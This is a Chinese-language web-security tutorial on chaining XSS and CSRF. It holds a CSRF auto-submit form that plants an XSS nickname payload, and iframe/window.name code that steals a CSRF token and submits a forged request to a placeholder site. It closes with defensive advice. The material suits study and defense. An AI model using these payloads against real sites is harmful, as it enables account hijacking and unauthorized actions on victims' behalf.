骚姿势:当XSS与CSRF相遇
字数 969 2025-08-18 11:37:37
XSS与CSRF联合攻击技术分析
1. 利用CSRF盗取SELF-XSS的Cookie
攻击场景
- 网站A存在SELF-XSS漏洞(如用户昵称处)
- 该XSS无法被其他用户直接看到(无留言板等功能)
- 网站A同时存在CSRF漏洞
攻击步骤
-
构造恶意网站B:
- 包含CSRF payload,用于修改用户在A网站的昵称为XSS payload
- 示例CSRF代码:
<form action="https://siteA.com/update_nickname" method="POST"> <input type="hidden" name="nickname" value="<script>恶意代码</script>"> </form> <script>document.forms[0].submit();</script> -
诱导用户访问:
- 用户访问恶意网站B时,CSRF payload自动执行
- 用户在A网站的昵称被修改为XSS payload
-
触发XSS:
- 用户再次访问A网站时,页面显示昵称触发XSS
- XSS payload将用户Cookie发送给攻击者
技术要点
- 将原本无用的SELF-XSS转化为可利用漏洞
- 利用大型可信网站作为跳板增加成功率
- 绕过HTTP-ONLY限制(通过直接执行操作而非窃取Cookie)
2. 利用XSS窃取CSRF防御Token
攻击场景
- 网站A使用Token防御CSRF
- 网站A同时存在XSS漏洞
攻击步骤
第一阶段:获取Token
-
构造XSS payload:
- 获取页面中的CSRF Token
- 将Token赋值给window.name
- 示例:
var token = document.querySelector('input[name="csrf_token"]').value; window.name = token; -
嵌入恶意URL:
- 将XSS payload嵌入A网站的URL中
第二阶段:跨域获取Token
- 创建恶意网站B:
- 包含以下JS代码:
// 创建iframe加载带有XSS的A网站页面 var iframe = document.createElement('iframe'); iframe.src = 'https://siteA.com/vulnerable_page?xss=<script>...<script>'; document.body.appendChild(iframe); // 延迟执行以确保XSS完成 setTimeout(function() { // 修改iframe源为同源页面 iframe.contentWindow.location = 'about:blank'; // 获取window.name中的Token var token = iframe.contentWindow.name; // 销毁iframe document.body.removeChild(iframe); // 使用Token发起CSRF攻击 launchCsrfAttack(token); }, 2000);
第三阶段:发起CSRF攻击
- 使用获取的Token构造合法请求
- 示例:
function launchCsrfAttack(token) {
var form = document.createElement('form');
form.action = 'https://siteA.com/sensitive_action';
form.method = 'POST';
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'csrf_token';
input.value = token;
form.appendChild(input);
// 添加其他必要参数...
document.body.appendChild(form);
form.submit();
}
技术要点
- 利用window.name的跨域特性传递Token
- 通过修改iframe源绕过同源策略限制
- window.name在页面跳转后保持不变
- 实现两阶段攻击:先获取Token,再发起CSRF
防御建议
针对SELF-XSS+CSRF攻击
- 实施严格的CSP策略
- 对用户输入进行严格过滤和转义
- 为敏感操作添加CSRF Token
- 检查Referer头部
针对XSS+Token窃取攻击
-
加强XSS防护:
- 输入输出过滤
- 内容安全策略(CSP)
- HttpOnly标志
-
增强CSRF Token保护:
- 将Token存储在HttpOnly Cookie中
- 使用每次请求更换的Token
- 检查Token与用户会话的绑定关系
-
限制跨域通信:
- 设置X-Frame-Options头部
- 使用SameSite Cookie属性